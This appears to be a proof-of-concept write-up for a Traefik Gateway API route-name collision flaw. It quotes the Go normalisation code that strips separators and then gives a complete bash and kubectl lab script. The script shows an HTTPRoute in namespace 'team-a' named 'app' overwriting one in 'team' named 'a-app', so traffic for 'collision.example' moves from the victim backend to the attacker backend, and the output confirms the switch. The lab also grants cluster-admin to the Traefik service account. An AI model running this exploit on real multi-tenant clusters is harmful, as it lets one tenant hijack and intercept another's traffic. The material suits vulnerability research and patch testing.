Traefik CVE-2026-71327

routeKey := provider.Normalize(fmt.Sprintf(
	"%s-%s-%s-gw-%s-%s-ep-%s-%d",
	strings.ToLower(kindHTTPRoute),
	route.Namespace,
	route.Name,
	gatewayNamespace,
	gatewayName,
	listener.EPName,
	ri,
))

func Normalize(name string) string {
	fargs := func(c rune) bool {
		return !unicode.IsLetter(c) && !unicode.IsNumber(c)
	}
	return strings.Join(strings.FieldsFunc(name, fargs), "-")
}

namespace=team,   route=a-app
namespace=team-a, route=app

httproute-team-a-app-gw-gateway-shared-ep-web-0

maps.Copy(to.HTTP.Routers, from.HTTP.Routers)
maps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares)
maps.Copy(to.HTTP.Services, from.HTTP.Services)
maps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports)

#!/usr/bin/env bash
set -euo pipefail

kubectl apply -f - <<'YAML'
apiVersion: v1
kind: Namespace
metadata:
  name: gateway
---
apiVersion: v1
kind: Namespace
metadata:
  name: team
---
apiVersion: v1
kind: Namespace
metadata:
  name: team-a
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: traefik-audit
  namespace: gateway
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: traefik-route-collision-lab
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: traefik-audit
  namespace: gateway
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: traefik-audit
  namespace: gateway
spec:
  replicas: 1
  selector:
    matchLabels:
      app: traefik-audit
  template:
    metadata:
      labels:
        app: traefik-audit
    spec:
      serviceAccountName: traefik-audit
      containers:
      - name: traefik
        image: traefik:v3.7.8
        args:
        - --entryPoints.web.address=:8000
        - --providers.kubernetesgateway=true
        - --global.checkNewVersion=false
        - --global.sendAnonymousUsage=false
        - --log.level=ERROR
        ports:
        - name: web
          containerPort: 8000
---
apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
  name: traefik-route-collision-lab
spec:
  controllerName: traefik.io/gateway-controller
---
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: shared
  namespace: gateway
spec:
  gatewayClassName: traefik-route-collision-lab
  listeners:
  - name: web
    protocol: HTTP
    port: 8000
    allowedRoutes:
      namespaces:
        from: All
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: victim
  namespace: team
spec:
  replicas: 1
  selector:
    matchLabels:
      app: victim
  template:
    metadata:
      labels:
        app: victim
    spec:
      containers:
      - name: echo
        image: hashicorp/http-echo:1.0.0
        args: ["-listen=:5678", "-text=VICTIM_BACKEND"]
        ports:
        - containerPort: 5678
---
apiVersion: v1
kind: Service
metadata:
  name: backend
  namespace: team
spec:
  selector:
    app: victim
  ports:
  - port: 80
    targetPort: 5678
---
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: a-app
  namespace: team
spec:
  parentRefs:
  - name: shared
    namespace: gateway
  hostnames: ["collision.example"]
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /
    backendRefs:
    - name: backend
      port: 80
YAML

kubectl -n gateway rollout status deployment/traefik-audit --timeout=120s
kubectl -n team rollout status deployment/victim --timeout=120s

kubectl -n gateway port-forward deployment/traefik-audit 18080:8000 \
  >/dev/null 2>&1 &
PORT_FORWARD_PID=$!
trap 'kill "$PORT_FORWARD_PID" 2>/dev/null || true' EXIT

for _ in $(seq 1 60); do
  RESPONSE=$(curl -sS -H 'Host: collision.example' \
    http://127.0.0.1:18080/ 2>/dev/null || true)
  if [ "$RESPONSE" = "VICTIM_BACKEND" ]; then
    break
  fi
  sleep 1
done
printf 'before collision: %s\n' "$RESPONSE"

sleep 2

kubectl apply -f - <<'YAML'
apiVersion: apps/v1
kind: Deployment
metadata:
  name: attacker
  namespace: team-a
spec:
  replicas: 1
  selector:
    matchLabels:
      app: attacker
  template:
    metadata:
      labels:
        app: attacker
    spec:
      containers:
      - name: echo
        image: hashicorp/http-echo:1.0.0
        args: ["-listen=:5678", "-text=ATTACKER_BACKEND"]
        ports:
        - containerPort: 5678
---
apiVersion: v1
kind: Service
metadata:
  name: backend
  namespace: team-a
spec:
  selector:
    app: attacker
  ports:
  - port: 80
    targetPort: 5678
YAML

kubectl -n team-a rollout status deployment/attacker --timeout=120s

kubectl apply -f - <<'YAML'
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: app
  namespace: team-a
spec:
  parentRefs:
  - name: shared
    namespace: gateway
  hostnames: ["collision.example"]
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /
    backendRefs:
    - name: backend
      port: 80
YAML

for _ in $(seq 1 60); do
  RESPONSE=$(curl -sS -H 'Host: collision.example' \
    http://127.0.0.1:18080/ 2>/dev/null || true)
  if [ "$RESPONSE" = "ATTACKER_BACKEND" ]; then
    break
  fi
  sleep 1
done
printf 'after collision:  %s\n' "$RESPONSE"

kubectl get httproute -A --sort-by=.metadata.creationTimestamp

before collision: VICTIM_BACKEND
after collision:  ATTACKER_BACKEND
NAMESPACE   NAME    HOSTNAMES
team        a-app   ["collision.example"]
team-a      app     ["collision.example"]